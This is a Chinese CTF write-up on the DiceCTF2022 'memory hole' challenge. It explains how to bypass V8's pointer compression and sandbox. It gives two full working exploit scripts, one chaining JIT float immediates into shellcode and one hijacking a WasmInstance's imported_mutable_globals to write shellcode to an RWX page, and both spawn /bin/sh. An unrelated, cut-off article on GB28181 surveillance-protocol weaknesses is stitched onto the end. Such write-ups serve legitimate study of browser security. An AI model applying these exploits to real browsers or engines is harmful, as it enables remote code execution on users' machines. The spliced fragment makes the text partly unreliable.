V8 沙盒绕过

本文首发于跳跳糖 https://tttang.com/archive/1443/

V8 沙箱绕过

这是 DiceCTF2022 的一道题 memory hole。

题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,结束。

但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写,能访问的范围是 array 基址后连续的 4G 地址空间。

绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。

【题目地址】 https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz

指针压缩

64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 $14 存储 js_base ,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域,无法访问任意地址。

如下,没有开启“指针压缩”的 ArrayBuffer 内存布局:

Untitled

开启后:

Untitled

绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBufferBackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写。

V8 沙箱

V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 WebAssemblyRWX 页指针和 ArrayBufferBackingStore 指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。

V8 Sandbox - High-Level Design Doc

如下,未开启 V8 沙箱时的 ArrayBuffer 对象内存布局:

Untitled

开启沙箱后,BackingStore 替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。

Untitled

此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。

绕过

方法一:利用立即数写 shellcode

(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html

JSFunction

先 DebugPrint 一个 JSFunction 的内存结构:

Untitled

这里有一个 code 字段,它指向了函数要执行的汇编指令,处于 r-x 页。

Untitled

Untitled

用 gdb 修改 code 字段 0x41414141

Untitled

继续执行,出现异常,此时 rcx0x2a0c41414141 ,即基址(0x2a0c00000000)+偏移(0x41414141)。

Untitled

看这段汇编,如果我们令[rcx + 0x1b] & 0x20000000 = 0rip 就会在之后被设置为 rcx+0x3f ,从而劫持 rip ,这个条件是比较容易满足的。

Untitled

使用立即数构造 shellcode

JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 0x350f00000000

Untitled

这个函数返回的是一个浮点数组,在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节。

Untitled

立即数同样可以被识别为汇编指令,很容易想到可以利用这个立即数来布置 shellcode,只要将 shellcode 片段用 jmp 连接起来,就能将一个个立即数串联起来,实现完整的功能。

jmp 短跳需要 2 个字节,剩下 6 个字节可以自由发挥。

参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948

IEEE:
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284
"""

生成出来的 shellcode 是通过系统调用执行 /bin/sh

跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  job 0x3de400045681
0x3de400045681: [Code]
- map: 0x3de40800263d <Map>
- code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x3de400045681

Instructions (size = 388)
0x3de4000456c0 0 8b59d0 movl rbx,[rcx-0x30]
...
0x3de400045735 75 c5fb114107 vmovsd [rcx+0x7],xmm0
0x3de40004573a 7a 49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x3de400045744 84 c4c1f96ec2 vmovq xmm0,r10
0x3de400045749 89 c5fb11410f vmovsd [rcx+0xf],xmm0
0x3de40004574e 8e 49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x3de400045758 98 c4c1f96ec2 vmovq xmm0,r10
0x3de40004575d 9d c5fb114117 vmovsd [rcx+0x17],xmm0
0x3de400045762 a2 49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x3de40004576c ac c4c1f96ec2 vmovq xmm0,r10
0x3de400045771 b1 c5fb11411f vmovsd [rcx+0x1f],xmm0
0x3de400045776 b6 49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x3de400045780 c0 c4c1f96ec2 vmovq xmm0,r10
0x3de400045785 c5 c5fb114127 vmovsd [rcx+0x27],xmm0
0x3de40004578a ca 49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
...

以指令格式查看这几个立即数,可以看到这几个立即数是通过 jmp 串联起来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  x/3i 0x3de40004573c
0x3de40004573c: push 0x68732f
0x3de400045741: pop rax
0x3de400045742: jmp 0x3de400045750
gef➤ x/3i 0x3de400045750
0x3de400045750: push 0x6e69622f
0x3de400045755: pop rdx
0x3de400045756: jmp 0x3de400045764
gef➤ x/3i 0x3de400045764
0x3de400045764: shl rax,0x20
0x3de400045768: xor esi,esi
0x3de40004576a: jmp 0x3de400045778
gef➤ x/4i 0x3de400045778
0x3de400045778: add rax,rdx
0x3de40004577b: xor edx,edx
0x3de40004577d: push rax
0x3de40004577e: jmp 0x3de40004578c
gef➤ x/4i 0x3de40004578C
0x3de40004578c: mov rdi,rsp
0x3de40004578f: push 0x3b
0x3de400045791: pop rax
0x3de400045792: syscall

执行

接下来就是劫持 rip

修改 JSFunction 对象的 code 字段,令 code + 0x3f = 0x3de40004573c

code 的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c ,即原 code 值加 0x7c ,具体各位自行体会,原作的 jitAddr + 0xb3 - 0x3f 的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。

Untitled

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function dp(x) {}// %DebugPrint(x);}
const print = () => {};
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
__dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));

/*
One weird thing is that as long as a function contains floating const,
allocated array object cannot reach the function object by OOB;
therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.
*/
const foo = ()=>
{
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}

const f = () => 123;
const arr = [1.1];
const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align
const ua = new Uint32Array(2);

arr.setLength(36);
d22u(arr[3]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
print(hex(fAddr));dp(f);
dp(ua);

function readOff(off)
{
arr[35] = u2d((off-7) * 0x100000000);
return ua[0];
}
function writeOff(off, val)
{
arr[35] = u2d((off-7) * 0x100000000);
ua[0] = val;
}
print(hex(fooAddr));dp(foo);
jitAddr = readOff(fooAddr + 0x17);
print('jitAddr');
print(hex(jitAddr));
print('rcx + 0x1b:') // rcx = jitAddr
print(hex(jitAddr + 0x1b));
print(hex(readOff(jitAddr + 0x1b)));
// %SystemBreak();
// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);
writeOff(fAddr + 0x17, jitAddr + 0x7c);
print(readOff(fooAddr + 0x17));
dp(foo);
// %SystemBreak();
f();

方法二:利用 WasmInstance 的全局变量

(参考:https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/

尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。

全局变量

WasmInstance 对象的 imported_mutable_globals 存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。

下面是一个 WasmInstance 对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...

查看内存,imported_mutable_globals 确实还是64位。

1
2
3
4
5
6
7
8
9
10
11
gef➤  x/20xg 0x3b17081d2f3d-1
0x3b17081d2f3c: 0x0800224908206439 0x0800224908002249
0x3b17081d2f4c: 0x0000000008002249 0x0000000000000000
0x3b17081d2f5c: 0x0000000000000000 0x0000560e9bddc640
0x3b17081d2f6c: 0x0000560e9be53750 0x0000000000000000
0x3b17081d2f7c: 0x0000000000000000 0x0000000000000000
0x3b17081d2f8c: 0x0000560e9be53770 0x0000560e9bddc620
0x3b17081d2f9c: 0x0000246bb5adb000 0x0000560e9bde8a48
0x3b17081d2fac: 0x0000560e9bde8a40 0x0000560e9bde8a60
0x3b17081d2fbc: 0x0000560e9bde8a58 0x0000560e9bddc630
0x3b17081d2fcc: 0x0000560e9be53790 0x0000560e9be537b0

使用全局变量

1
2
3
4
var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});

以上可以往 imported_mutable_globals 里添加一个 int64 的全局变量 。

注意global 这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。

DebugPrint 一下这个 global

1
2
3
4
5
6
7
8
DebugPrint: 0xc7908048d0d: [WasmGlobalObject]
- map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)>
- untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289>
- offset: 0
- raw_type: 2
- is_mutable: 1
- type: i64
- is_mutable: 1

untagged_buffer 是一个 ArrayBuffer,backing_store0x3b1800002000 ,也就是 global 存储数据的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤  job 0x3b1708048d31
0x3b1708048d31: [JSArrayBuffer]
- map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x3b1800002000
- byte_length: 8
- max_byte_length: 8
- detachable
- properties: 0x3b1708002249 <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}

回过头看上面 wasm_instanceimported_mutable_globals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...

这里的第一个元素即是 globalbacking_store 地址

1
2
3
4
5
6
gef➤  x/10xg 0x560e9be53770
0x560e9be53770: 0x00003b1800002000 0x00007fcdcb1bdca0
0x560e9be53780: 0x0000000000000000 0x0000000000000021
0x560e9be53790: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0
0x560e9be537a0: 0x0000000000000000 0x0000000000000021
0x560e9be537b0: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0

我们伪造一个 imported_mutable_globals 替换掉 wasm_instanceimported_mutable_globals ,即可做到任意地址读写。

伪造 imported_mutable_globals

imported_mutable_globals 并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。

创建一个 array ,第一个元素是要读写的任意地址。

再泄漏这个 array 的偏移及基址 js_base 计算得到完整的 array 地址,覆盖掉用来的 imported_mutable_globals

泄漏 array 的偏移按常规的路子来就行,泄漏 js_base 见下一节。

一切搞好后,要读写任意地址,改 array[0] 即可。

获取基址 js_base

泄漏基址 js_base 并不难,多次运行 d8 ,搜索下基址:

第一次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x1c53
[+] Searching '\x53\x1c' in memory
[+] In (0x1c5300000000-0x1c5300003000), permission=rw-
0x1c530000001c - 0x1c5300000024 → "\x53\x1c[...]"
0x1c5300000024 - 0x1c530000002c → "\x53\x1c[...]"
0x1c5300000054 - 0x1c530000005c → "\x53\x1c[...]"
0x1c53000000f4 - 0x1c53000000fc → "\x53\x1c[...]"
...

第二次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x00002c3b
[+] Searching '\x3b\x2c\x00\x00' in memory
[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-
0x2c3b0000001c - 0x2c3b0000001e → ";,"
0x2c3b00000024 - 0x2c3b00000026 → ";,"
0x2c3b00000054 - 0x2c3b00000056 → ";,"
0x2c3b000000f4 - 0x2c3b000000f6 → ";,"
...

第三次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x3f13
[+] Searching '\x13\x3f' in memory
[+] In (0x3f1300000000-0x3f1300003000), permission=rw-
0x3f130000001c - 0x3f1300000024 → "\x13\x3f[...]"
0x3f1300000024 - 0x3f130000002c → "\x13\x3f[...]"
0x3f1300000054 - 0x3f130000005c → "\x13\x3f[...]"
0x3f13000000f4 - 0x3f13000000fc → "\x13\x3f[...]"
...

可以看到,在 [js_base , js_base+0x3000] 的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。

具体的方法,构造一个 BigInt64Array 修改 external_pointer ,以及 byte_length ,让 BigInt64Array 能从 js_base 开始访问。

这里由于沙箱,data_ptr 的计算方式改为 js_base + base_pointer + (external_pointer << 2) ,需要注意 external_pointer 变为了偏移,如下图的 0x1000000

Untitled

修改 external_pointerbase_pointer0BigIng64Array 就会从 js_base 开始访问了。

修改全局变量

参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ,添加修改 global 变量的函数。

1
2
3
4
5
6
7
8
(module
(global $g (import "js" "global") (mut i64))
(func (export "getGlobal") (result i64)
(global.get $g))
(func (export "setGlobal") (param i64)
(global.set $g
(get_local 0)))
)

用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后,提取二进制格式的输出。

现在可以使用 WASM 修改全局变量了:

1
2
3
4
5
6
7
8
9
10
11
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);

const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

setGlobal(0x10000n);
console.log(getGlobal()); // 65535

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
function dp(x) {} 
// function dp(x) {%DebugPrint(x);} // const print = console.log;
const print = (x) =>{console.log(x)};
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}

ftoi(f) {
this.cvt_f64a[0] = f;
return this.cvt_u64a[0];
}

itof(i) {
this.cvt_u64a[0] = i;
return this.cvt_f64a[0];
}

ftoil(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[0];
}

ftoih(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[1];
}

fsetil(f, l) {
this.cvt_f64a[0] = f;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}

fsetih(f, h) {
this.cvt_f64a[0] = f;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetltof(i, l) {
this.cvt_u64a[0] = i;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}

isethtof(i, h) {
this.cvt_u64a[0] = i;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetlhtof(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetltoi(i,l){
this.cvt_u32a[0] = l;
return this.cvt_u64a[0];
}

isethtoi(i,h){
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}

isetlhtoi(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}

igetl(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[0];
}

igeth(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[1];
}

gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x1000000);
}
}
printhex(s, val) {
//%DebugPrint(s + " 0x" + val.toString(16));
console.log(s + " 0x" + val.toString(16));
//document.write(s +' ' + val.toString(16) + " </br>");
//alert(s + " 0x" + val.toString(16));
}
};

var helper = new Helpers();

var oob_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(0x100);
var i64arr= new BigUint64Array(buf);

var fake_imported_mutable_globals_arr = [0x1337133713371337];
var leaker = { 'x':fake_imported_mutable_globals_arr};

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

function arbWrite(addr,val){
oob_arr[0x17] = helper.itof(addr);
setGlobal(BigInt.asUintN(64,BigInt(val)));
}

function arbRead(addr){
oob_arr[0x17] = helper.itof(addr);
return BigInt.asUintN(64, getGlobal());
}

function addrOf(obj){
leaker['x'] = obj;
return BigInt.asUintN(64,js_base + BigInt(helper.ftoih(oob_arr[0x1b])));
}

oob_arr.setLength(0x10000000/8);
dp(oob_arr);
dp(fake_imported_mutable_globals_arr);
dp(leaker);
// %DebugPrint(i64arr);
// %SystemBreak();

oob_arr[0x11] = helper.isethtof(helper.ftoi(oob_arr[0x11]),0x10000000); // length
oob_arr[0x13] = helper.itof(0n); // external_pointer
// %DebugPrint(i64arr);
// %SystemBreak();

// leak js_base
var js_base = 0n;
if( (i64arr[3] >> 32n ) == (i64arr[4] >> 32n)) {
js_base = BigInt.asUintN(64,i64arr[3]) & 0xffff00000000n;
}
helper.printhex('js_base @', js_base);

fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);
fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - 0x9n;

// %SystemBreak();

oob_arr_addr = addrOf(oob_arr);
wasm_inst_addr = addrOf(wasm_instance);

imported_mutable_globals_offset = (wasm_inst_addr - js_base + 0x50n -1n ) / 8n;

dp(wasm_instance);
// %SystemBreak();

helper.printhex('fake_obj_addr @', fake_imported_mutable_globals_addr);
helper.printhex('oob_arr_addr @', oob_arr_addr);
helper.printhex('wasm_instance_addr @', wasm_inst_addr);
helper.printhex('wasm_instance.imported_mutable_globals_offset ', imported_mutable_globals_offset);

// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));
// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));
helper.printhex('i64arr[globals_offset] @', i64arr[imported_mutable_globals_offset]);
i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;

dp(wasm_instance);
// %SystemBreak();

var wasm_code2= new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);

var wasm_mod2 = new WebAssembly.Module(wasm_code2);
var wasm_instance2 = new WebAssembly.Instance(wasm_mod2);
var f = wasm_instance2.exports.main;

wasm_instance2_addr = addrOf(wasm_instance2);

wasm_instance2_rwx_page_addr = wasm_instance2_addr + 0x60n - 1n;
helper.printhex('rwx page addr @', wasm_instance2_rwx_page_addr);
// %SystemBreak();
wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);
helper.printhex('rwx page @', wasm_instance2_rwx_page);

shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000008,
0x6e69622f, 0x0068732f, 0x89485756, 0x00050fe6];

for(let i=0; i<shellcode.length; i=i+2){
arbWrite(wasm_instance2_rwx_page +(BigInt(i) * 4n),helper.isetlhtoi(shellcode[i],shellcode[i+1]));
}

// dp(wasm_instance2);
// %SystemBreak();

f();

Untitled

参考

GB28181 的一点小问题

GB28181

GB28181 是视频监控领域的国家标准,规定了公共安全视频监控联网系统的互联结构, 传输、交换、控制的基本要求和安全性要求, 以及控制、传输流程和协议接口等技术要求。

目前大多数厂商的摄像头都支持这个协议,用户可以自己实现媒体服务器,使用这个协议从摄像头上拉流观看。

客户端拉流过程

见图

1

GB28181 协议会话通道用的是 SIP 协议,往下看需要一些 SIP 协议相关的知识。

带入到实际场景中,各个实体的身份 ⬇️:

  • 媒体流接收者:观众,客户端
  • SIP 服务器:信令服务器,和摄像头 NVR 设备交互,摄像头 NVR 在使用前需要发送 REGISTER 包注册到 SIP 服务器
  • 媒体服务器:接收推流的服务器,转发媒体流给观众
  • 媒体流发送者:摄像头 NVR

过程:

1、媒体流接收者向 SIP 服务器发送 Invite 消息,消息头域中携带 Subject 字段,表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数,SDP 消息体中 s 字段为“Play” 代表实时点播;

2、SIP 服务器收到 Invite 请求后,通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息,此消息不携带 SDP 消息体;

3、媒体服务器收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;

4、SIP 服务器收到媒体服务器返回的 200OK 响应后,向媒体流发送者发送 Invite 请求,请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体,并且修改 s 字段为“Play”代表实时点播,增 加 y 字段描述 SSRC 值,f 字段描述媒体参数;

5、媒体流发送者收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;

6、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体服务器发送 ACK 请求,请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体,完成与媒体服务器的 Invite 会话建立过程;

7、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体流发送者发送 ACK 请求,请求中 不携带消息体,完成与媒体流发送者的 Invite 会话建立过程;

之后媒体流发送者推流到媒体服务器,媒体服务器在转发给接收者。

风险点

看上面的活动图,媒体流发送者在收到 SIP 服务器的 INVITE + ACK 包之后就开始推流,
